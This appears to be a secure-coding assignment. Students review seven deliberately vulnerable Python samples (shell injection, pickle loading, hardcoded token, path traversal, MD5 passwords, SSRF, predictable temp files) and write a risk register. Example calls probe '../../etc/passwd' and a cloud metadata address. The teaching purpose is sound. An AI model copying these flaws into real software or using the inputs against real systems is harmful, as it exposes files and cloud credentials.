It is about producing an evidence-based, defensible release decision grounded in:

- Static analysis
- Dependency scanning
- Container configuration
- Runtime telemetry
- Explicit scoring logic

Python Code Samples for Security Assessment (Do Not Run)

Purpose: Students must review the code below and identify security risks using zero-trust reasoning (SAST + dependency thinking + runtime/telemetry implications).
Instruction: **Do not execute any cell containing these samples.** Treat all samples as untrusted.

Sample 1 - Command Injection (Critical)

```python
# DO NOT RUN: intentionally vulnerable example
import subprocess

def convert_file(user_path: str) -> str:
    # Vulnerable: user-controlled input is concatenated into a shell
command
    cmd = f"cat {user_path} | wc -l"
    out = subprocess.check_output(cmd, shell=True, text=True)
    return out.strip()
```

Assessment prompts:

- Identify the vulnerability and the root cause.
- Propose a secure rewrite using subprocess.run([...], shell=False).
- Describe likely telemetry evidence if exploited (process spawning, unexpected commands, file access).

Sample 2 - Unsafe Deserialisation (Pickle RCE)

```python
# DO NOT RUN: intentionally vulnerable example
import pickle

def load_profile(blob: bytes) -> dict:
    # Vulnerable: pickle can execute arbitrary code during
deserialisation
    return pickle.loads(blob)

# Example usage omitted intentionally.
```

Assessment prompts:

- Explain why pickle.loads is dangerous for untrusted input.
- Recommend safer alternatives (e.g., JSON with schema validation).
- State how sandboxing/telemetry could reduce likelihood (blocked syscalls, restricted filesystem, no egress).

Sample 3 - Hardcoded Secret (Credential Exposure)

```python
# DO NOT RUN: intentionally vulnerable example
API_TOKEN = "ghp_EXAMPLE_NOT_A_REAL_TOKEN_1234567890"

def call_service():
    # Placeholder: demonstrates a hardcoded secret in source code
    return f"Using token: {API_TOKEN}"
```

Assessment prompts:

- Explain why hardcoding secrets is high risk even if unused.
- Identify evidence sources (secrets scanner output, git history implications).
- Recommend mitigation (env vars + secret manager + CI secrets scanning gate).

Sample 4 - Path Traversal (Arbitrary File Read)

```python
# DO NOT RUN: intentionally vulnerable example
from pathlib import Path

BASE_DIR = Path("/opt/data/uploads")

def read_user_file(filename: str) -> str:
    # Vulnerable: no normalisation/validation; allows ../ traversal
    target = BASE_DIR / filename
    return target.read_text()

# Example (do not run): read_user_file("../../etc/passwd")
```

Assessment prompts:

- Identify the vulnerability and exploitation path.
- Provide a secure fix (resolve path, enforce BASE_DIR containment).
- Describe telemetry indicators (attempted reads outside uploads directory).

Sample 5 - Weak Password Handling (Plaintext + Weak Hash)

```python
# DO NOT RUN: intentionally vulnerable example
import hashlib

def store_password(username: str, password: str) -> dict:
    # Vulnerable: plaintext retained and unsalted fast hash (MD5) used
    record = {
        "user": username,
        "password_plain": password,
        "password_hash": hashlib.md5(password.encode()).hexdigest(),
    }
    return record
```

Assessment prompts:

- Explain why plaintext retention is dangerous in memory.
- Explain why MD5 is unsuitable for passwords.
- Propose a safer design (PBKDF2/bcrypt/argon2 + no plaintext retention).

Sample 6 - SSRF-Style Network Fetch (Egress Risk)

```python
# DO NOT RUN: intentionally vulnerable example
import urllib.request

def fetch_url(url: str) -> bytes:
    # Vulnerable: unvalidated URL may allow SSRF to internal services
    with urllib.request.urlopen(url, timeout=3) as r:
        return r.read()

# Example (do not run): fetch_url("http://169.254.169.254/latest/meta-data/")
```

Assessment prompts:

- Explain SSRF and why network egress matters.
- Recommend mitigation (allowlist, URL parsing, block internal ranges, disable egress in sandbox).
- List telemetry evidence to capture (ss, tcpdump, logs).

Sample 7 - Insecure Temporary File Handling (Symlink Risk)

```python
# DO NOT RUN: intentionally vulnerable example
import tempfile
import os

def write_temp_report(data: str) -> str:
    # Vulnerable: predictable filename pattern; unsafe open in shared temp space
    path = os.path.join(tempfile.gettempdir(), "report.txt")
    with open(path, "w") as f:
        f.write(data)
    return path
```

Assessment prompts:

- Explain the risk (race conditions, symlink attacks, overwrite of unintended files).
- Propose safer alternatives (NamedTemporaryFile, permissions, unique names).

Task - Produce a Risk report

For at least 4 samples above (one per category), students must produce risk register entries:

- 1 code-level finding (SAST)
- 1 dependency/supply-chain finding (state assumptions; add SBOM reference if applicable)
- 1 container configuration finding (non-root? capabilities? read-only FS? egress?)
- 1 secret/config exposure finding (or “none found”, documented with evidence)

Each entry must include:

- Finding ID,
- description,
- asset affected,
- threat scenario,
- likelihood (1–5),
- impact (1–5),
- risk score,
- proposed control,
- residual risk,
- decision,
- owner,
- evidence link.

Release decision must be one of:

- Ship
- Ship with waiver
- Block